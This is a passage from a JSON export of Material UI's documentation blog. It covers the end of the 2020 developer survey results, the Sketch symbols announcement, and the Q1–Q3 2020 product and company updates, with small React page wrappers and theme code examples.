/>\n\n### 13. What were you primarily using before Material UI?\n\n<img src=\"/static/blog/2020-survey/13.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 47.08% Bootstrap, 16.04% Custom system, 13.68% Started with Material UI, 6.67% Angular Material, 4.44% Semantic-UI, 3.19% Ant Design, 8.89% Other\" />\n\nSimilar to last year, it seems that most respondents were previously using Bootstrap. We can see also that custom solutions, as well as some other frameworks, were replaced with Material UI.\n\n### 14. How many Material UI based projects have you built?\n\n<img src=\"/static/blog/2020-survey/14.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 11.50% 0 (I'm just getting started), 23% 1, 54.80% 2-5, 7.80% 6-10, 2.90% 10+\" />\n\n## Your product\n\n### 15. What are you building?\n\n<img src=\"/static/blog/2020-survey/15.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 23.43% Enterprise application, 20.31% Dashboard admin app, 7.40% A design system, 7.40% A set of UI components, 7.37% playing with tech, 7.34% A prototype, 6.40% Landing page, 5.41% e-commerce site, 4.80% CMS, 3.59% Portfolio or resume, 1.88% Blog, 4.69% Other\" />\n\nEnterprises and dashboards are at the top of the heap, and yes, we know that for many of you, the systems you are building are internal, but if you have something that you would like to share as part of [the showcase](/material-ui/discover-more/showcase/), let us know by opening a PR. Also for those of you building UI components, we'd be happy to give you a shout out in the [related projects](/material-ui/discover-more/related-projects/)\nsection.\n\n### 16. What \"delivery mechanism\" are you using?\n\n<img src=\"/static/blog/2020-survey/16.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 68.37% Single page app (Create React App, etc), 18.24% Server-side rendered website (Next.js, Gatsby, etc), 6.22% Desktop app (Electron, etc), 4.65% Native mobile app (Cordova, etc), 0.10% React Native, 2.40% Other\" />\n\n### 17. Who are you building it for?\n\n<img src=\"/static/blog/2020-survey/17.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Pie chart: 55.17% For my company\n22.86% For a client, 16.94% Side project, 5.03% More than one of these.\" />\n\n### 18. Which JavaScript framework are you using, if any?\n\n<img src=\"/static/blog/2020-survey/18.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Pie chart: 57.34% Create React App, 16.40% Custom webpack, 12.35% Next.js, 5.40% Gatsby, 8.51% Other.\" />\n\n### 19. What styling system are you using?\n\n<img src=\"/static/blog/2020-survey/19.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Pie chart: 53.84% Material UI styles (JSS), 20.41% Styled components, 13.01% Good plain CSS, 8.31% CSS Modules, 1.96% Emotion, 0.59% scss, 0.59% sass, 0.09% less, 1.19% Other\" />\n\nThe response seems to be similar to the one from the last year's survey, so we will push with better support for styled components.\n\n### 20. Has your organization ever paid for UI components?\n\n<img src=\"/static/blog/2020-survey/20.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Pie chart: 89.90% No, 10.10% Yes\" />\n\n### 21. What type system are you using?\n\n<img src=\"/static/blog/2020-survey/21.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 54.08% None\n30.87% TypeScript 3.8, 7.31% TypeScript 3.7, 1.90% Flow, 1.55% TypeScript 3.6, 0.98% TypeScript 3.5, 3.31% Other\" />\n\nAlmost half of the community is using TypeScript. Next year, it might even become more popular than JavaScript.\n\n## Conclusion\n\nThis data is **incredibly valuable** for our team.\nThank you again for participating!\nWe want to work on the problems that resonate the most with our users.\n[It's clear](#5-how-can-we-improve-material-ui-for-you) that we should:\n\n1. Provide more flexibility on the components, unstyled components (pure hooks?).\n1. Make the customization easier and implement custom themes with Material UI. Maybe provide a theme builder.\n1. Provide a second theme, update the current components to better match Material Design, provide more simple components and features (for example dropzone, carousel) as well as provide a better DX (there are good ideas from other UI libraries to apply to Material UI v5).\n1. Improve upon the paid advanced versions of the components (for example complex data grid, date range picker, tree view drag & drop, virtualization, etc).\n\n**We will update [our ROADMAP](/material-ui/discover-more/roadmap/) in the coming days**.\nWe will run a similar survey next year to keep track of our progress.\n\nIf you want to continue to influence our roadmap, please upvote 👍 the issues you are the most interested in on GitHub.\n\n<video autoplay muted loop playsinline width=\"2914\" height=\"1440\">\n  <source src=\"/static/blog/2019-developer-survey-results/vote.mp4\" type=\"video/mp4\" />\n</video>\n\n<p class=\"blog-description\">Help us prioritize by upvoting.</p>\n"
  },
  {
    "path": "docs/pages/blog/2020-introducing-sketch.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2020-introducing-sketch.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2020-introducing-sketch.md",
    "content": "---\ntitle: Introducing Material UI for Sketch\ndescription: Today, we're excited to announce the introduction of official Sketch symbols for Material UI.\ndate: 2020-03-30T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Material UI', 'Product']\nmanualCard: true\n---\n\nToday, we're excited to introduce the Sketch symbols 💎 for Material UI.\n\n[![preview](/static/blog/2020-introducing-sketch/product-preview.png)](https://mui.com/store/items/sketch-react/?utm_source=blog&utm_medium=blog&utm_campaign=introducing-sketch)\n\n<p class=\"blog-description\">Available on our <a href=\"https://mui.com/store/items/sketch-react/\">store</a></p>\n\nThe UI kit contains all the Material UI components with states and variations which gives 1,500+ unique elements. All components are designed with the most up to date release.\n\nWe dream of a world where designers and developers can share the same tools. We wish to streamline the creation process of great UIs.\nThis new product brings you one step closer to this long term goal. It enables designers to provide developers close to production \"handoffs\". It aims to **maximize efficiency and consistency**.\n\n## Why\n\n### Frequent requests\n\nOver the last few months, we have seen a growing number of designers asking for these Sketch symbols.\nFor instance, there is a [Stack Overflow question](https://stackoverflow.com/questions/38834629/material-ui-sketch-files) with over 4,000 views. It has been a common request on X: [one](https://x.com/TimoMajerski/status/1144503789619224578), [two](https://x.com/jonminori/status/1141121330156310528), [three](https://x.com/ProfessorXavior/status/1196522875706056705), [etc](https://x.com/JeffreyKaine/status/1133435042259120132).\n\n### No great alternatives\n\nFor a long time, we have ignored the problem. We were recommending users to try alternatives out. However, we realized that it wasn't a great answer. There were no good solutions out there:\n\n- **Sketch** has [some symbols](https://i.stack.imgur.com/vEEAA.png) for Material Design. Unfortunately, they cover <30% of the components available in Material UI, use an outdated version of the specification, and focus on mobile (leaving desktop behind).\n- **Material Design** had a [Sketch plugin](https://m2.material.io/resources/theme-editor/).\n  Unfortunately, it was recently retired, was supporting fewer components than Material UI, and didn't use the same wording/structure as Material UI that made it harder to move from design to implementation.\n- Anything else is paid.\n\n### Gain efficiency\n\nNo matter what your role, you'll be more efficient with these assets:\n\n**UI / UX Designers 💅**\n\nSave time using this large library of UI components, icons and styles to deliver your work faster. You can customize the kit however you want to match your product's brand.\n\n**Product managers / Entrepreneurs 🧪**\n\nCreate MVPs efficiently and save hundreds of hours on UI Design. This is a great place to start if your product or brand needs a design system. Equip your team with this library for Sketch and build consistent products faster.\n\n**Developers 🛠**\n\nGain in autonomy, design beautiful, consistent and accessible interface without relying on designers. You can preview how it will look before coding it.\nThe UI kit was created specifically for Material UI, a popular React UI library with a comprehensive set of components.\n\n## See it in action\n\nThe following video demonstrates how the symbols can be used to design an invoice page.\n\n<iframe height=\"364\" style=\"aspect-ratio: 16 / 9; width: 100% !important; max-width: 648px; border: 0\" src=\"https://www.youtube.com/embed/DTU6r_VE2C4\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\n\nSketch Cloud preview: https://mui.com/store/previews/sketch-react/.\n\n## More tools\n\nAccording to a [recent user survey](https://medium.com/google-design/state-of-design-systems-2019-ff5f26ada71) ran by the Material Design Team, Sketch is the most popular tool used by teams to manage design systems. However, it's not the only tool.\n\n![preview](/static/blog/2020-introducing-sketch/design-tools.png)\n\n<p class=\"blog-description\">Popular tools used to manage Design Systems (n=1762)</p>\n\nWe are working on the support of more popular tools.\nWe have recently released the support of Framer X for Material UI.\nWe plan to release the support of **Figma** in the coming weeks. You can subscribe to the [newsletter of the store](https://mui.com/store/#subscribe) to be notified when available.\n\n## Features\n\nYou can learn more about the features available on the [Sketch page details](https://mui.com/store/items/sketch-react/?utm_source=blog&utm_medium=blog&utm_campaign=introducing-sketch) of the symbols.\n"
  },
  {
    "path": "docs/pages/blog/2020-q1-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2020-q1-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2020-q1-update.md",
    "content": "---\ntitle: Q1 2020 Update\ndescription: An update on our mission for Q1 2020.\ndate: 2020-04-14T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nWelcome to the new format of our mission update. We are moving from monthly to quarterly updates.\n\n## Product\n\nOver the last 3 months, we have focused on making patch releases.\nWe have done eleven so far. We have optimized for stability.\n\nHere are the most significant improvements since the beginning of the year:\n\n- 🔍 We have polished the [Autocomplete](https://mui.com/material-ui/react-autocomplete/) component (Combo box). We have closed more than [270](https://github.com/mui/material-ui/labels/lab%3A%20Autocomplete) issues and pull requests so far. We will promote the component to the core in the next major (v5).\n\n  <video autoplay muted loop playsinline width=\"382\" height=\"408\">\n    <source src=\"/static/blog/2020-q1-update/autocomplete.mp4\" type=\"video/mp4\" />\n  </video>\n\n  <p class=\"blog-description\">useAutocomplete <a href=\"https://mui.com/material-ui/react-autocomplete/#useautocomplete\">hook</a> example, 4.5 kB gzipped.</p>\n\n  If you wish to make your first contribution to open source, the component has a couple of [\"good first issues\"](https://github.com/mui/material-ui/labels/lab%3A%20Autocomplete) that can be taken.\n  If you have TypeScript expertise, the component could [benefit from it](https://github.com/mui/material-ui/issues?q=is%3Aopen+label%3A%22lab%3A+Autocomplete%22+label%3Atypescript).\n\n- 📆 We have made a first [alpha release](https://github.com/mui/material-ui-pickers/releases/tag/v4.0.0-alpha.4) of the date range picker. It's not ready to be used in production but you can start playing. We might release some of the new features of the date picker under the upcoming Enterprise offering.\n\n  ![date picker](/static/blog/2020-q1-update/date-picker.png)\n\n- ⚠️ We have introduced a new [Alert](https://v4.mui.com/components/alert/) component in the lab. While this component isn't mentioned in the Material Design guidelines, it's a common and well-established pattern. For instance, it can be interested when [combined](https://v4.mui.com/components/snackbars/#notistack) with the Snackbar.\n\n  <img src=\"/static/blog/2020-q1-update/alert.png\" alt=\"alert\" style=\"max-height: 369px; margin-bottom: 24px;\" />\n\n- ⏭ We have introduced a new [Pagination](https://v4.mui.com/components/pagination/) component.\n\n  <img src=\"/static/blog/2020-q1-update/pagination.png\" alt=\"pagination\" style=\"max-height: 208px; margin-bottom: 8px;\" />\n\n- 🦴 We have added a new \"wave\" animation to the [Skeleton](https://v4.mui.com/components/skeleton/#animations) component.\n\n  <video style=\"max-height: 95px; margin-bottom: 24px;\" autoplay muted loop playsinline>\n    <source src=\"/static/blog/2020-q1-update/skeleton.webm\" type=\"video/webm\" />\n  </video>\n\n- ⚛️ We have worked on improving developer experience inside text editors.\n  - We have migrated prop descriptions from JSDoc to TypeScript for 60% of the components. Back-and-forths with the documentation API will be less frequent:\n\n  ![props](/static/blog/2020-q1-update/props.png)\n  - The color modules come with new previews:\n\n  ![colors](/static/blog/2020-q1-update/colors.png)\n  - We have collaborated with [Andy Edwards](https://github.com/jedwards1211) to provide [snippets](https://marketplace.visualstudio.com/items?itemName=vscodeshift.material-ui-snippets) with Visual Studio Code:\n\n  ![snippets](/static/blog/2020-q1-update/snippets.gif)\n\n- 💎 We have introduced [Sketch assets](/blog/2020-introducing-sketch/).\n\n  <img src=\"/static/blog/2020-q1-update/sketch.png\" alt=\"sketch\" style=\"max-width: 160px;\" />\n\nBut this summary is just scratching the surface. We have accepted 572 commits from 214 different contributors.\n\n## Company\n\nWe are thrilled to welcome two new full-time developers on MUI:\n\n- [Dmitriy Kovalenko](https://github.com/dmtrKovalenko), the author of @material-ui/pickers.\n  <img src=\"https://avatars.githubusercontent.com/u/16926049\" alt=\"dmitriy\" style=\"max-width: 160px; margin: unset; margin-bottom: 24px; border-radius: 2px;\" />\n\n- [Damien Tassone](https://github.com/dtassone/), an experienced developer in the finance industry.\n  <img src=\"https://avatars.githubusercontent.com/u/936978\" alt=\"damien\" style=\"max-width: 160px; margin: unset; margin-bottom: 24px; border-radius: 2px;\" />\n\n### Growth between Q4 2019 and Q1 2020\n\n- 📦 From 3.2M to 4.8M downloads per month on npm.\n- ⭐️ From 53.3k to 56.2k stars, leave us yours 🌟.\n- 👨‍👩‍👧‍👦 From 1,581 to 1,720 contributors on GitHub.\n- 💰 Grew monthly financial support by 47%.\n- 🏢 From 3 to 5 full-time equivalent developers, spread among multiple financially supported core team members.\n\n## Our roadmap intent for Q2 2020\n\nWe'll do our best, no guarantee!\n\n- 📣 We will analyze and publish the results of the \"Material UI Developer Survey 2020\". If you haven't contributed to it yet, you can follow this link to [fill it in](https://forms.gle/TYWRdvgyZs4AhZNv8), thanks!\n- 🎨 We will release Figma assets for MUI.\n\n  <img src=\"/static/blog/2020-q1-update/figma.png\" alt=\"figma\" style=\"max-width: 160px; margin-bottom: 24px;\" />\n\n- 🇨🇳 We will translate 100% of the documentation to Chinese. We are collaborating with [Danica Shen](https://github.com/DDDDDanica), a native speaker, to complete the effort. So far, we have translated 73% of the documentation and peer-reviewed 39%. You can help us out on [Crowdin](https://crowdin.com/project/material-ui-docs).\n\n  <img src=\"/static/blog/2020-q1-update/chinese.png\" alt=\"chinese\" style=\"max-width: 134px; margin-bottom: 24px;\" />\n\n- 🔥 We will start to work on the [next major: v5](https://github.com/mui/material-ui/issues/20012).\n  You can expect the following:\n  - A feature freeze on v4.\n  - The introduction of deprecation messages in the next v4 minors. These messages will help developers upgrade to v5.\n  - A progressive bug fixes freeze on v4, with the exception of security issues and important bugs.\n  - At least 6 months of work on v5 to get to a stable release (probably more). You can follow our progress using our [milestone](https://github.com/mui/material-ui/milestone/35).\n\n- 🧑‍💻 We will likely look to hire a new full-time member on the core team to help deliver v5 and new features faster.\n- ⌗ We announced, back in [October 2019](/blog/september-2019-update/#our-roadmap-intent-for-october), our intention to work on an advanced data grid component. The task was bigger than anticipated, but we are making progress. It might take us 12 months to do it right. Damien is now leading and fully dedicated to this effort. You can follow our early-stage progress on [finui.io](https://finui.io/#/grid) and later, integration into the mono-repository on [#18872](https://github.com/mui/material-ui/pull/18872).\n\n  ![data grid](/static/blog/2020-q1-update/data-grid.png)\n\n  <p class=\"blog-description\">For <a href=\"https://uxdesign.cc/design-better-data-tables-4ecc99d23356\">illustration</a> purposes only.</p>\n\n- 📆 We will polish the date picker. We will work on: providing a comprehensive set of features, to unify the experience with the core package, to improve the overall quality. The objective is to make these components stable in the next major (v5).\n- ❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n"
  },
  {
    "path": "docs/pages/blog/2020-q2-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2020-q2-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2020-q2-update.md",
    "content": "---\ntitle: Q2 2020 Update\ndescription: An update on our mission for Q2 2020.\ndate: 2020-07-17T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nThis update covers our progress over the last three months, and what we aim to achieve in the coming months.\n\n## Product\n\nHere are the most significant improvements since March 2020:\n\n- 🚧 Work has started on [the next major version: v5](https://github.com/mui/material-ui/issues/20012).<br />\n  The last 14 months have been spent focusing on improving the library under the v4.x development branch, while not introducing any breaking changes. During this period we have identified several important areas for improvement. While the absence of breaking changes is a significant time-saver for developers, it also limits the scope of the problems that can be solved and the quality of the solutions. We're excited about what comes next!<br /><br />\n  You can find the documentation for the next version at https://mui.com/. The next 6-8 months will see weekly releases as always, following [the roadmap](https://github.com/mui/material-ui/issues/20012) and [milestone](https://github.com/mui/material-ui/milestone/35).\n\n- 📍 The icons package has been updated with changes made by Google, leading to [200+ new icons](https://mui.com/material-ui/material-icons/).\n\n  <img src=\"/static/blog/2020-q2-update/icons.png\" alt=\"icons\" style=\"width: 615px; margin-bottom: 24px;\" />\n\n- 🎨 [Figma assets](https://mui.com/store/items/figma-react/) for Material UI extend the support for design tools beyond Sketch.\n\n  <a href=\"https://mui.com/store/items/figma-react/\"><img src=\"/static/blog/2020-q1-update/figma.png\" alt=\"figma\" style=\"width: 160px; margin-bottom: 24px;\" /></a>\n\n  Adobe XD and Framer support are also up for consideration if they attract a significant audience, but not until we've polished the Sketch and Figma assets.\n\n- 🔄 `LoadingButton` – [a new component in the lab](https://v5.mui.com/material-ui/react-button/#loading-button). This work is influenced by the [concurrent UI patterns](https://17.reactjs.org/docs/concurrent-mode-patterns.html) presented by the React team.\n\n  <img src=\"/static/blog/2020-q2-update/loading.gif\" alt=\"loading\" style=\"margin-bottom: 24px;\" />\n\n- ⚛️ We have made **all** component props available in IntelliSense. This is complementary to the `propTypes` and API pages in the documentation.\n\n  ![props](/static/blog/2020-q1-update/props.png)\n\n- ⏰ A new [`Timeline` component](/material-ui/react-timeline/) joins the lab.\n\n  <img src=\"/static/blog/2020-q2-update/timeline.png\" alt=\"timeline\" style=\"width: 244px; margin-bottom: 24px;\" />\n\n- 📣 We have analyzed and published the results of the \"Material UI Developer Survey 2020\". If you haven't read it yet, you can follow this link to [read it in detail](/blog/2020-developer-survey-results/). It contains a lot of interesting insights that will shape the future of the library and company. Thanks for the contributions! ❤️\n- 🇨🇳🇧🇷 The non-API documentation has been fully translated to Chinese and Brazilian, thanks to the collaboration of [Danica Shen](https://github.com/DDDDDanica), [Yan Lee](https://github.com/AGDholo), and [Jairon Alves Lima](https://github.com/jaironalves), native speakers from the community 🙏.\n\n  <img src=\"/static/blog/2020-q2-update/chinese.png\" alt=\"chinese\" style=\"width: 146px; padding-right: 3px; box-sizing: content-box;\" />\n\n  <img src=\"/static/blog/2020-q2-update/brazilian.png\" alt=\"brazilian\" style=\"width: 152px; margin-bottom: 24px;\" />\n\n  After English, Chinese, and Brazilian, the languages that would benefit the most from translation are **Russian** and **Spanish**.<br />\n  Feel free to [get stuck into](https://crowdin.com/project/material-ui-docs) if you are a native speaker and able to give a hand with either of these two languages.\n\n- 🗂 A new extension of the Tab API [in the lab](/material-ui/react-tabs/#experimental-api) implements accessible tabs following [WAI-ARIA](https://www.w3.org/WAI/ARIA/apg/patterns/tabs/) authoring practices.\n\n```jsx\n<TabContext value={value}>\n  <TabList onChange={handleChange} aria-label=\"simple tabs example\">\n    <Tab label=\"Item One\" value=\"1\" />\n    <Tab label=\"Item Two\" value=\"2\" />\n    <Tab label=\"Item Three\" value=\"3\" />\n  </TabList>\n  <TabPanel value=\"1\">Item One</TabPanel>\n  <TabPanel value=\"2\">Item Two</TabPanel>\n  <TabPanel value=\"3\">Item Three</TabPanel>\n</TabContext>\n```\n\n- 📆 On the [date picker](https://mui.com/x/react-date-pickers/):\n  - A new `renderInput` API which matches that of the autocomplete component has been added.\n  - The input mask UX has been improved.\n  - Support for `value={null}` has been added.\n  - Desktop vs mobile detection has been improved by using the pointer capabilities instead of the screen dimension.\n  - Accessibility has been improved.\n  - Consistency between the date pickers and the other components of the library has been improved.\n\n## Company\n\n### Growth between Q1 2020 and Q2 2020\n\n- 📦 From 4.8M to 5.1M downloads per month on npm.\n- ⭐️ From 56.2k to 59.0k stars, leave us yours 🌟.\n- 👨‍👩‍👧‍👦 From 1,720 to 1,825 contributors on GitHub.\n- 💰 Grew monthly financial support by 46%.\n- 🏢 Headcount remains the same.\n\n## Our roadmap intent for Q3 2020\n\nWe'll do our best, no guarantee!\n\n- ⚙️ To make significant progress with the v5 roadmap.\n\n- 🌏 Translate the API pages, for instance, the [Alert API](https://mui.com/api/alert/) can only be consumed in English.\n\n- 📆 Migrate the date picker components to the main repository to ensure high consistency with the core components. Keep investing in the component to make it part of the v5 release schedule.\n\n- 👩‍🎨 We will work with a design agency to do the branding of the company, redo the homepage, do the marketing pages of the enterprise version of the library, improve the documentation, introduce new themes (as alternatives to Material Design).\n\n- ❓ Please upvote [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n\n### Company\n\nThese are objectives, no guarantees:\n\n- 🏢 We will [hire](/careers/) 3 full-time roles in the team.\n  - One person on the open-source side to focus on the design system problem (unstyled, theming, styling, etc.): ✅ starting in two months.\n  - One person on the enterprise side to consolidate the development of the advanced components: 🚧 Work in progress.\n  - One person on a role yet to defined: 🚧 Work in progress.\n\n- 🏝 We will run a company-wide team retreat if COVID-19 allows it.\n- 📈 We will put structures internally to prepare the next step of growth.\n\n### Enterprise components\n\n- ⌗ Make available a first alpha version of our advanced data grid component as part of the enterprise bundle.\n  You can already play with an early version.\n- 📆 Make available a first alpha version of the date range picker as part of the enterprise bundle.\n  You can already play with an early version.\n"
  },
  {
    "path": "docs/pages/blog/2020-q3-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2020-q3-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2020-q3-update.md",
    "content": "---\ntitle: Q3 2020 Update\ndescription: An update on our mission for Q3 2020.\ndate: 2020-10-14T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nThis update covers our progress over the last three months, and what we aim to achieve in the coming months.\n\n## Product\n\nHere are the most significant improvements since June 2020. This was a dense quarter!\n\n- 🚧 We have started the quarter with the first pre-release [v5.0.0-alpha.1](https://github.com/mui/material-ui/releases?after=v5.0.0-alpha.1) of the next major iteration of the library.\n  There have been eleven more pre-releases since then. During the alpha development stage of version 5, we are focusing on making the planned breaking changes, as well as developing new features.\n  On the breaking changes side, we have made almost half of the changes that we have planned.\n- 🧪 We have promoted 7 components from the lab to the core: Alert, Autocomplete, Pagination, Rating, Skeleton, SpeedDial, and ToggleButton.\n  Thank you for all your feedback on these components.\n  While we still plan a couple of breaking changes on them, we are confident that they have reached the same level of quality as the other core components.\n- 👮 We have introduced a new component in the lab, the [FocusTrap](https://v6.mui.com/base-ui/react-focus-trap/). It manages focus for its descendants. This is useful when implementing overlays such as modal dialogs, which should not allow the focus to escape while open:\n\n  <video style=\"max-height: 416px; margin-bottom: 24px;\" autoplay muted loop playsinline>\n    <source src=\"/static/blog/2020-q3-update/trap-focus.mp4\" type=\"video/mp4\" />\n  </video>\n\n- ⚛️ We have prepared the support for the upcoming release of [React v17](https://legacy.reactjs.org/blog/2020/08/10/react-v17-rc.html). Most of the work was about better handling events, and updating our test infrastructure to run the whole test suite with the _latest_ and _next_ version of React.<br />We have also improved `StrictMode` support. The last standing issues are being addressed with the work on the style engine. More on that later in the post.\n- 💅 We have introduced a new dynamic variant API. This API allows developers to add new variants to Material UI components right from the theme, without having to wrap the components. For instance with the Button:\n\n  ```tsx\n  // Define the style that should be applied for specific props.\n  const theme = createMuiTheme({\n    components: {\n      MuiButton: {\n        variants: [\n          {\n            props: { variant: 'dashed', color: 'secondary' },\n            styles: {\n              border: `4px dashed ${red[500]}`,\n            },\n          },\n        ],\n      },\n    },\n  });\n\n  // Optionally retain type safety:\n  declare module '@mui/material/Button' {\n    interface ButtonPropsVariantOverrides {\n      dashed: true;\n    }\n  }\n\n  // Enjoy!\n  <Button variant=\"dashed\" color=\"secondary\" />;\n  ```\n\n  This change is part of a direction to ease the implementation of custom design systems.\n  Note that the API not only allows to match a single prop, but also a combination of props.\n  This is especially interesting to resolve the conflict when different variants try to modify the same CSS property.\n\n  Hopefully, in the future, we will be able to take advantage of the variant feature [coming in Figma](https://help.figma.com/hc/en-us/articles/360055471353-Prepare-for-Variants) with this API.\n\n- ⚡️ We have released a first alpha version of the [data grid component](/x/react-data-grid/).<br />\n  We announced our intent to build this component [a year ago](/blog/september-2019-update/#our-roadmap-intent-for-october). While we could have implemented a simple version and release it a month later, it wouldn't have set us in the right direction for the years to follow. We're aiming aim to deliver the best-in-class React data grid.\n  This objective requires a twin licensing model. The component is available under an MIT license for the features that can be relatively easily implemented, and that can be sustained with an open-source model; as well as a paid commercial license for the more advanced features.\n  <br />To ensure we could meet this objective, we spent time finding an expert in the field. This led us to open a new job position, and, a few months later, [Damien Tassone](/blog/spotlight-damien-tassone/) joined to lead the work on this component.\n\n  <a href=\"/x/react-data-grid/\"><img src=\"/static/blog/2020-q3-update/data-grid.png\" alt=\"\" style=\"width: 829px; margin-bottom: 8px;\" /></a>\n\n  <p class=\"blog-description\">100,000 rows</p>\n\n  After 6 months of development since the initial commit (March 15th, 2020), you can start using the component! (It targets v4.)\n\n- ⚡️ The data grid effort has led to the introduction of a new repository: [_mui/mui-x_](https://github.com/mui/mui-x). This is the repository that will host all the future commercial components, all the components that we can't sustain with the open-source model. MUI X is our next iteration in scaling MUI, both as a company and as a comprehensive React library of components. While we have an existing sustainability model that can support, in long term, up to 10 people full-time, we are keen to push it by an order of magnitude.\n- 🛠 We have migrated parts of the codebase to TypeScript.<br />\n  We had to work on the code infrastructure of _mui/material-ui_ to prepare to host the date picker components that are written in TypeScript inside the lab (coming from _mui/material-ui-pickers_ that we will archive once we can).\n\n  <img src=\"/static/blog/2020-q3-update/typescript-mui.png\" alt=\"\" style=\"width: 299px; margin-bottom: 8px;\" />\n\n  <p class=\"blog-description\">MUI's repository</p>\n\n  On the other hand, we started using TypeScript from day one for _mui/mui-x_.\n\n  <img src=\"/static/blog/2020-q3-update/typescript-mui-x.png\" alt=\"\" style=\"width: 299px; margin-bottom: 8px;\" />\n\n  <p class=\"blog-description\">MUI X's repository</p>\n\n- 🐙 We have migrated large parts of the test suite to react-testing-library.<br>\n  15 months ago, we introduced the very [first test](https://github.com/mui/material-ui/pull/15732) using the library (to replace enzyme). Last month, react-testing-library had [more downloads](https://npm-stat.com/charts.html?package=enzyme&package=%40testing-library%2Freact&from=2019-10-10&to=2020-10-10) than enzyme!\n\n  <img src=\"/static/blog/2020-q3-update/react-testing-library.png\" alt=\"\" style=\"width: 640px; margin-bottom: 40px; margin-top: 24px;\" />\n\n- 💅 We have completed the first iteration of the unstyled components for v5.<br />You can find a [new version](https://v5.mui.com/material-ui/react-slider/#unstyled) of the slider in the lab without any styles.\n  The unstyled component weighs in at [5.2 kB gzipped](https://bundlephobia.com/package/@mui/lab@5.0.0-alpha.12), compared with 26 kB for the styled version (when used standalone). The component is best suited for use when you want to fully customize the look, without reimplementing the JavaScript and accessibility logic.<br />\n  We're also pushing in this direction to address a concern we hear from large enterprises\n  that want to be able to go one layer down in the abstraction, in order to gain more control.\n\n  ```jsx\n  import SliderUnstyled from '@mui/lab/SliderUnstyled';\n  ```\n\n  Note that we have experimented with headless components (hooks only) in the past. For instance, you can leverage the [useAutocomplete](https://v5.mui.com/material-ui/react-autocomplete/#useautocomplete), and [usePagination](https://v5.mui.com/material-ui/react-pagination/#usepagination) hooks. However, we are pushing with unstyled first as a required step for the next item: ⬇️.\n\n- 👩‍🎨 We have completed the first iteration of the new styling solution of v5.<br />\n  You can find a [new version](https://v5.mui.com/material-ui/react-slider/) of the slider in the lab powered by [Emotion](https://emotion.sh/docs/introduction).<br />\n  If you are already using styled-components in your application, you can swap Emotion for styled-components 💅. Check this [CodeSandbox](https://codesandbox.io/p/sandbox/sliderstyled-with-styled-components-forked-olc27?file=/package.json) or [CRA](https://github.com/mui/material-ui/tree/HEAD/examples/material-ui-cra-styled-components/) for a demo. It relies on aliases to prevent any bundle size overhead.<br />\n  The new styling solution saves 2kB+ gzipped in the bundle compared to JSS, and about 14 kB gzipped if you were already using styled-components or Emotion.<br />\n  Last but not least, this change allows us to take advantage of dynamic style props. We will use them for dynamic color props, variant props, and new style props available in the core components.\n\n  <img src=\"/static/blog/2020-q3-update/emotion.png\" alt=\"\" style=\"width: 329px;\" />\n\n  <p class=\"blog-description\">Slider powered by Emotion</p>\n\n  <img src=\"/static/blog/2020-q3-update/styled-components.png\" alt=\"\" style=\"width: 323px;\" />\n\n  <p class=\"blog-description\">Slider powered by styled-components</p>\n\n- ♿︎ We have kept investing in accessibility, we have fixed [13 bugs](https://github.com/mui/material-ui/pulls?q=is%3Apr+label%3Aaccessibility+is%3Aclosed+sort%3Aupdated-desc).\n- 🗓 We have introduced public quarterly roadmaps, both for each [MUI Core](https://github.com/mui/material-ui/projects?query=is%3Aopen) product and [MUI X](https://github.com/orgs/mui/projects/35).\n\n## Company\n\nWe are thrilled to welcome two new full-time developers to MUI:\n\n- [Marija Najdova](https://github.com/mnajdova). Marija joins us from the Fluent-UI React team at Microsoft. She's allowing the community team to move faster. You can learn more about her in the [introduction blog post](/blog/marija-najdova-joining/).\n\n  <img src=\"https://avatars.githubusercontent.com/u/4512430?s=320\" alt=\"marija\" style=\"max-width: 160px; margin: unset; margin-bottom: 24px; border-radius: 2px;\" />\n\n- [Danail Hadjiatanasov](https://github.com/DanailH). Danail comes to us from the Fintech industry. He's allowing the enterprise team to move faster, he's helping Damien push the data grid further.\n\n  <img src=\"https://avatars.githubusercontent.com/u/5858539?s=320\" alt=\"marija\" style=\"max-width: 160px; margin: unset; margin-bottom: 24px; border-radius: 2px;\" />\n\n### Growth between Q2 2020 and Q3 2020\n\n- 📦 From 5.1M to 6.0M downloads per month on npm.<br />\n  While React is growing, we are also growing inside its 